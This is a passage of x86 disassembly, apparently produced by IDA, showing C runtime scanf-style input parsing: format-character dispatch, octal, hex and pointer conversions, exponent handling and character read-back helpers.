cmp [ebp+var_C], 6Fh
jnz short loc_42571D
cmp [ebp+var_1D8], 38h
jge short loc_425712
mov ecx, 3
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42CC70
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
jmp short loc_42571B
; ---------------------------------------------------------------------------
loc_425712: ; CODE XREF: sub_424CA0+A58j
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
loc_42571B: ; CODE XREF: sub_424CA0+A70j
jmp short loc_425743
; ---------------------------------------------------------------------------
loc_42571D: ; CODE XREF: sub_424CA0+A4Fj
mov ecx, 2
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42CC70
add eax, [ebp+var_30]
adc edx, [ebp+var_2C]
mov ecx, 1
call sub_42CC70
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_425743: ; CODE XREF: sub_424CA0:loc_42571Bj
jmp short loc_42574D
; ---------------------------------------------------------------------------
loc_425745: ; CODE XREF: sub_424CA0+A49j
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42574D: ; CODE XREF: sub_424CA0:loc_4256A1j
; sub_424CA0:loc_425743j
movsx ecx, [ebp+var_18]
test ecx, ecx
jnz short loc_4257B8
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1D8]
sub eax, 30h
cdq
mov ecx, [ebp+var_30]
add ecx, eax
mov eax, [ebp+var_2C]
adc eax, edx
mov [ebp+var_30], ecx
mov [ebp+var_2C], eax
cmp [ebp+var_1E8], 0
jz short loc_42579B
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42579B
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4257B6
; ---------------------------------------------------------------------------
loc_42579B: ; CODE XREF: sub_424CA0+ADFj
; sub_424CA0+AEEj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_4257B6: ; CODE XREF: sub_424CA0+AF9j
jmp short loc_4257D4
; ---------------------------------------------------------------------------
loc_4257B8: ; CODE XREF: sub_424CA0+AB3j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_426140
add esp, 8
loc_4257D4: ; CODE XREF: sub_424CA0:loc_4257B6j
jmp loc_42560B
; ---------------------------------------------------------------------------
loc_4257D9: ; CODE XREF: sub_424CA0+971j
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_4257F4
mov eax, [ebp+var_30]
neg eax
mov ecx, [ebp+var_2C]
adc ecx, 0
neg ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], ecx
loc_4257F4: ; CODE XREF: sub_424CA0+B3Fj
jmp loc_42599D
; ---------------------------------------------------------------------------
loc_4257F9: ; CODE XREF: sub_424CA0+965j
; sub_424CA0:loc_425988j
movsx edx, [ebp+var_18]
test edx, edx
jnz loc_42598D
cmp [ebp+var_C], 78h
jz short loc_425811
cmp [ebp+var_C], 70h
jnz short loc_425889
loc_425811: ; CODE XREF: sub_424CA0+B69j
cmp dword_4516A8, 1
jle short loc_425836
push 80h
mov eax, [ebp+var_1D8]
push eax
call sub_421E50
add esp, 8
mov [ebp+var_210], eax
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425836: ; CODE XREF: sub_424CA0+B78j
mov ecx, [ebp+var_1D8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp+var_210], eax
loc_425853: ; CODE XREF: sub_424CA0+B94j
cmp [ebp+var_210], 0
jz short loc_42587C
mov ecx, [ebp+var_40]
shl ecx, 4
mov [ebp+var_40], ecx
mov edx, [ebp+var_1D8]
push edx
call sub_426080
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_425884
; ---------------------------------------------------------------------------
loc_42587C: ; CODE XREF: sub_424CA0+BBAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_425884: ; CODE XREF: sub_424CA0+BDAj
jmp loc_42590B
; ---------------------------------------------------------------------------
loc_425889: ; CODE XREF: sub_424CA0+B6Fj
cmp dword_4516A8, 1
jle short loc_4258AB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_214], eax
jmp short loc_4258C5
; ---------------------------------------------------------------------------
loc_4258AB: ; CODE XREF: sub_424CA0+BF0j
mov edx, [ebp+var_1D8]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_214], ecx
loc_4258C5: ; CODE XREF: sub_424CA0+C09j
cmp [ebp+var_214], 0
jz short loc_425902
cmp [ebp+var_C], 6Fh
jnz short loc_4258F2
cmp [ebp+var_1D8], 38h
jge short loc_4258E8
mov edx, [ebp+var_40]
shl edx, 3
mov [ebp+var_40], edx
jmp short loc_4258F0
; ---------------------------------------------------------------------------
loc_4258E8: ; CODE XREF: sub_424CA0+C3Bj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4258F0: ; CODE XREF: sub_424CA0+C46j
jmp short loc_425900
; ---------------------------------------------------------------------------
loc_4258F2: ; CODE XREF: sub_424CA0+C32j
mov ecx, [ebp+var_40]
mov edx, [ebp+var_40]
lea eax, [edx+ecx*4]
shl eax, 1
mov [ebp+var_40], eax
loc_425900: ; CODE XREF: sub_424CA0:loc_4258F0j
jmp short loc_42590B
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_424CA0+C2Cj
mov cl, [ebp+var_18]
add cl, 1
mov [ebp+var_18], cl
loc_42590B: ; CODE XREF: sub_424CA0:loc_425884j
; sub_424CA0:loc_425900j
movsx edx, [ebp+var_18]
test edx, edx
jnz short loc_42596C
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+var_40]
lea eax, [edx+ecx-30h]
mov [ebp+var_40], eax
cmp [ebp+var_1E8], 0
jz short loc_42594F
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42594F
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_42596A
; ---------------------------------------------------------------------------
loc_42594F: ; CODE XREF: sub_424CA0+C93j
; sub_424CA0+CA2j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_42596A: ; CODE XREF: sub_424CA0+CADj
jmp short loc_425988
; ---------------------------------------------------------------------------
loc_42596C: ; CODE XREF: sub_424CA0+C71j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_426140
add esp, 8
loc_425988: ; CODE XREF: sub_424CA0:loc_42596Aj
jmp loc_4257F9
; ---------------------------------------------------------------------------
loc_42598D: ; CODE XREF: sub_424CA0+B5Fj
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_42599D
mov eax, [ebp+var_40]
neg eax
mov [ebp+var_40], eax
loc_42599D: ; CODE XREF: sub_424CA0:loc_4257F4j
; sub_424CA0+CF3j
cmp [ebp+var_C], 46h
jnz short loc_4259AA
mov [ebp+var_6C], 0
loc_4259AA: ; CODE XREF: sub_424CA0+D01j
cmp [ebp+var_6C], 0
jz short loc_4259F8
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_4259F6
mov edx, [ebp+var_34]
add edx, 1
mov [ebp+var_34], edx
loc_4259C1: ; CODE XREF: sub_424CA0+D70j
cmp [ebp+var_1DC], 0
jz short loc_4259DA
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov edx, [ebp+var_2C]
mov [eax+4], edx
jmp short loc_4259F6
; ---------------------------------------------------------------------------
loc_4259DA: ; CODE XREF: sub_424CA0+D28j
movsx eax, [ebp+var_38]
test eax, eax
jz short loc_4259EC
mov ecx, [ebp+var_3C]
mov edx, [ebp+var_40]
mov [ecx], edx
jmp short loc_4259F6
; ---------------------------------------------------------------------------
loc_4259EC: ; CODE XREF: sub_424CA0+D40j
mov eax, [ebp+var_3C]
mov cx, word ptr [ebp+var_40]
mov [eax], cx
loc_4259F6: ; CODE XREF: sub_424CA0+D16j
; sub_424CA0+D38j ...
jmp short loc_4259FD
; ---------------------------------------------------------------------------
loc_4259F8: ; CODE XREF: sub_424CA0+D0Ej
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_4259FD: ; CODE XREF: sub_424CA0:loc_4259F6j
jmp loc_425E34
; ---------------------------------------------------------------------------
loc_425A02: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:00426046o
mov edx, [ebp+var_20]
mov [ebp+var_40], edx
movsx eax, [ebp+var_70]
test eax, eax
jnz short loc_425A12
jmp short loc_4259C1
; ---------------------------------------------------------------------------
loc_425A12: ; CODE XREF: sub_424CA0+D6Ej
jmp loc_425E34
; ---------------------------------------------------------------------------
loc_425A17: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:0042603Eo
lea ecx, [ebp+var_1D0]
mov [ebp+var_1E0], ecx
cmp [ebp+var_1D8], 2Dh
jnz short loc_425A46
mov edx, [ebp+var_1E0]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
jmp short loc_425A4F
; ---------------------------------------------------------------------------
loc_425A46: ; CODE XREF: sub_424CA0+D8Aj
cmp [ebp+var_1D8], 2Bh
jnz short loc_425A73
loc_425A4F: ; CODE XREF: sub_424CA0+DA4j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_425A73: ; CODE XREF: sub_424CA0+DADj
cmp [ebp+var_1E8], 0
jz short loc_425A85
cmp [ebp+var_1C], 15Dh
jle short loc_425A8C
loc_425A85: ; CODE XREF: sub_424CA0+DDAj
mov [ebp+var_1C], 15Dh
loc_425A8C: ; CODE XREF: sub_424CA0+DE3j
; sub_424CA0+E82j
cmp dword_4516A8, 1
jle short loc_425AAE
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_218], eax
jmp short loc_425AC8
; ---------------------------------------------------------------------------
loc_425AAE: ; CODE XREF: sub_424CA0+DF3j
mov edx, [ebp+var_1D8]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_218], ecx
loc_425AC8: ; CODE XREF: sub_424CA0+E0Cj
cmp [ebp+var_218], 0
jz short loc_425B27
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_425B27
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_425A8C
; ---------------------------------------------------------------------------
loc_425B27: ; CODE XREF: sub_424CA0+E2Fj
; sub_424CA0+E3Fj
movsx ecx, byte_4516AC
movsx edx, byte ptr [ebp+var_1D8]
cmp ecx, edx
jnz loc_425C24
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_425C24
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1E0]
mov dl, byte_4516AC
mov [ecx], dl
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
loc_425B89: ; CODE XREF: sub_424CA0+F7Fj
cmp dword_4516A8, 1
jle short loc_425BAB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_21C], eax
jmp short loc_425BC5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_424CA0+EF0j
mov edx, [ebp+var_1D8]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_21C], ecx
loc_425BC5: ; CODE XREF: sub_424CA0+F09j
cmp [ebp+var_21C], 0
jz short loc_425C24
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_425C24
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_425B89
; ---------------------------------------------------------------------------
loc_425C24: ; CODE XREF: sub_424CA0+E97j
; sub_424CA0+EABj ...
cmp [ebp+var_6C], 0
jz loc_425D89
cmp [ebp+var_1D8], 65h
jz short loc_425C44
cmp [ebp+var_1D8], 45h
jnz loc_425D89
loc_425C44: ; CODE XREF: sub_424CA0+F95j
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
test ecx, ecx
jz loc_425D89
mov eax, [ebp+var_1E0]
mov byte ptr [eax], 65h
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2Dh
jnz short loc_425CAE
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
jmp short loc_425CB7
; ---------------------------------------------------------------------------
loc_425CAE: ; CODE XREF: sub_424CA0+FF2j
cmp [ebp+var_1D8], 2Bh
jnz short loc_425CED
loc_425CB7: ; CODE XREF: sub_424CA0+100Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jnz short loc_425CD2
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
jmp short loc_425CED
; ---------------------------------------------------------------------------
loc_425CD2: ; CODE XREF: sub_424CA0+1025j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_425CED: ; CODE XREF: sub_424CA0+1015j
; sub_424CA0+1030j ...
cmp dword_4516A8, 1
jle short loc_425D0F
push 4
mov edx, [ebp+var_1D8]
push edx
call sub_421E50
add esp, 8
mov [ebp+var_220], eax
jmp short loc_425D2A
; ---------------------------------------------------------------------------
loc_425D0F: ; CODE XREF: sub_424CA0+1054j
mov eax, [ebp+var_1D8]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_220], edx
loc_425D2A: ; CODE XREF: sub_424CA0+106Dj
cmp [ebp+var_220], 0
jz short loc_425D89
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz short loc_425D89
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1E0]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_425CED
; ---------------------------------------------------------------------------
loc_425D89: ; CODE XREF: sub_424CA0+F88j
; sub_424CA0+F9Ej ...
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_426140
add esp, 8
cmp [ebp+var_6C], 0
jz short loc_425DE3
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_425DE1
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 0
lea edx, [ebp+var_1D0]
push edx
mov eax, [ebp+var_3C]
push eax
movsx ecx, [ebp+var_38]
sub ecx, 1
push ecx
call off_451A50
add esp, 0Ch
loc_425DE1: ; CODE XREF: sub_424CA0+1111j
jmp short loc_425DE8
; ---------------------------------------------------------------------------
loc_425DE3: ; CODE XREF: sub_424CA0+1109j
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_425DE8: ; CODE XREF: sub_424CA0:loc_425DE1j
jmp short loc_425E34
; ---------------------------------------------------------------------------
loc_425DEA: ; CODE XREF: sub_424CA0+3B0j
; sub_424CA0+3C4j
; DATA XREF: ...
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
cmp eax, [ebp+var_1D8]
jz short loc_425E1A
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_426140
add esp, 8
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_425E1A: ; CODE XREF: sub_424CA0+1157j
mov cl, [ebp+var_28]
sub cl, 1
mov [ebp+var_28], cl
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_425E34
mov eax, [ebp+var_1D4]
mov [ebp+arg_8], eax
loc_425E34: ; CODE XREF: sub_424CA0:loc_425496j
; sub_424CA0:loc_4259FDj ...
mov cl, [ebp+var_28]
add cl, 1
mov [ebp+var_28], cl
jmp short loc_425E60
; ---------------------------------------------------------------------------
loc_425E3F: ; CODE XREF: sub_424CA0+38Bj
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_426140
add esp, 8
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_425E60: ; CODE XREF: sub_424CA0+119Dj
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
jmp loc_425F61
; ---------------------------------------------------------------------------
loc_425E6E: ; CODE XREF: sub_424CA0+11Dj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_425EC6
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_426140
add esp, 8
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_425EC6: ; CODE XREF: sub_424CA0+1203j
mov eax, [ebp+var_1D8]
and eax, 0FFh
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_425F61
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1F4], eax
mov ecx, [ebp+var_1F4]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_425F58
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1F4]
push edx
call sub_426140
add esp, 8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_426140
add esp, 8
jmp short loc_425F8A
; ---------------------------------------------------------------------------
loc_425F58: ; CODE XREF: sub_424CA0+127Cj
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
loc_425F61: ; CODE XREF: sub_424CA0+11C9j
; sub_424CA0+1245j
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_425F85
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz short loc_425F83
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
cmp ecx, 6Eh
jz short loc_425F85
loc_425F83: ; CODE XREF: sub_424CA0+12D4j
jmp short loc_425F8A
; ---------------------------------------------------------------------------
loc_425F85: ; CODE XREF: sub_424CA0+12C8j
; sub_424CA0+12E1j
jmp loc_424D17
; ---------------------------------------------------------------------------
loc_425F8A: ; CODE XREF: sub_424CA0+80j
; sub_424CA0+635j ...
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_425FBE
cmp [ebp+var_34], 0
jnz short loc_425FAD
movsx edx, [ebp+var_28]
test edx, edx
jnz short loc_425FAD
mov [ebp+var_224], 0FFFFFFFFh
jmp short loc_425FB6
; ---------------------------------------------------------------------------
loc_425FAD: ; CODE XREF: sub_424CA0+12F7j
; sub_424CA0+12FFj
mov eax, [ebp+var_34]
mov [ebp+var_224], eax
loc_425FB6: ; CODE XREF: sub_424CA0+130Bj
mov eax, [ebp+var_224]
jmp short loc_425FC1
; ---------------------------------------------------------------------------
loc_425FBE: ; CODE XREF: sub_424CA0+12F1j
mov eax, [ebp+var_34]
loc_425FC1: ; CODE XREF: sub_424CA0+131Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424CA0 endp
; ---------------------------------------------------------------------------
off_425FC8 dd offset loc_424F5A ; DATA XREF: sub_424CA0+239r
dd offset loc_424EE0
dd offset loc_424EF8
dd offset loc_424F3C
dd offset loc_424EE5
dd offset loc_424F47
dd offset loc_424F4F
dd offset loc_424F65
byte_425FE8 db 0 ; DATA XREF: sub_424CA0+233r
db 3 dup(7)
dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h)
dd 7040707h, 7050707h, 2 dup(7070707h)
db 7, 6
off_426036 dd offset loc_42506B ; DATA XREF: sub_424CA0+3C4r
dd offset loc_4255A4
dd offset loc_425A17
dd offset loc_42549B
dd offset loc_425A02
dd offset loc_4255A0
dd offset loc_4250B1
dd offset loc_4254A2
dd offset loc_4250D6
dd offset loc_425DEA
byte_42605E db 0 ; DATA XREF: sub_424CA0+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426080 proc near ; CODE XREF: sub_424CA0+9E9p
; sub_424CA0+BCCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp dword_4516A8, 1
jle short loc_4260A2
push 4
mov eax, [ebp+arg_0]
push eax
call sub_421E50
add esp, 8
mov [ebp+var_4], eax
jmp short loc_4260B7
; ---------------------------------------------------------------------------
loc_4260A2: ; CODE XREF: sub_426080+Dj
mov ecx, [ebp+arg_0]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_4260B7: ; CODE XREF: sub_426080+20j
cmp [ebp+var_4], 0
jz short loc_4260C5
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_4260D1
; ---------------------------------------------------------------------------
loc_4260C5: ; CODE XREF: sub_426080+3Bj
mov edx, [ebp+arg_0]
and edx, 0FFFFFFDFh
sub edx, 7
mov [ebp+var_8], edx
loc_4260D1: ; CODE XREF: sub_426080+43j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_426080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4260E0 proc near ; CODE XREF: sub_424CA0+370p
; sub_424CA0+698p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jl short loc_42611B
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
and eax, 0FFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42612A
; ---------------------------------------------------------------------------
loc_42611B: ; CODE XREF: sub_4260E0+1Aj
mov ecx, [ebp+arg_0]
push ecx
call sub_421F10
add esp, 4
mov [ebp+var_4], eax
loc_42612A: ; CODE XREF: sub_4260E0+39j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4260E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426140 proc near ; CODE XREF: sub_424CA0+ECp
; sub_424CA0+666p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_426159
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42CD00
add esp, 8
loc_426159: ; CODE XREF: sub_426140+7j
pop ebp
retn
sub_426140 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426160 proc near ; CODE XREF: sub_424CA0+E3p
; sub_424CA0+353p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_426164: ; CODE XREF: sub_426160+30j
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_4]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41E200
add esp, 4
test eax, eax
jz short loc_426192
jmp short loc_426164
; ---------------------------------------------------------------------------
loc_426192: ; CODE XREF: sub_426160+2Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_426160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4261A0(double)
sub_4261A0 proc near ; CODE XREF: sub_41CCD0+C3p
; sub_41CEF0+C3p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4261A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4261C0(int,double,int)
sub_4261C0 proc near ; CODE XREF: sub_41CCD0+85p
; sub_41CEF0+85p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_451D10, 0
jnz short loc_4261F4
mov eax, [ebp+arg_C]
push eax ; int
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+arg_4]
push edx ; double
push 0 ; int
push 0 ; int
mov eax, [ebp+10h]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_0]
push edx ; int
push 1 ; int
call sub_426C70
add esp, 24h
jmp short loc_426213
; ---------------------------------------------------------------------------
loc_4261F4: ; CODE XREF: sub_4261C0+Aj
call sub_4248A0
mov dword ptr [eax], 21h
push 0FFFFh
mov eax, [ebp+arg_C]
push eax
call sub_427100
add esp, 8
fld qword ptr [ebp+arg_4]
loc_426213: ; CODE XREF: sub_4261C0+32j
pop ebp
retn
sub_4261C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
fld qword ptr [ebp+0Ch]
fadd qword ptr [ebp+14h]
fstp qword ptr [ebp-8]
cmp dword_451D10, 0
jnz short loc_426264
mov eax, [ebp+1Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-8]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
push 1
call sub_426C70
add esp, 24h
jmp short loc_426283
; ---------------------------------------------------------------------------
loc_426264: ; CODE XREF: .nsp0:00426236j
call sub_4248A0
mov dword ptr [eax], 21h
push 0FFFFh
mov edx, [ebp+1Ch]
push edx
call sub_427100
add esp, 8
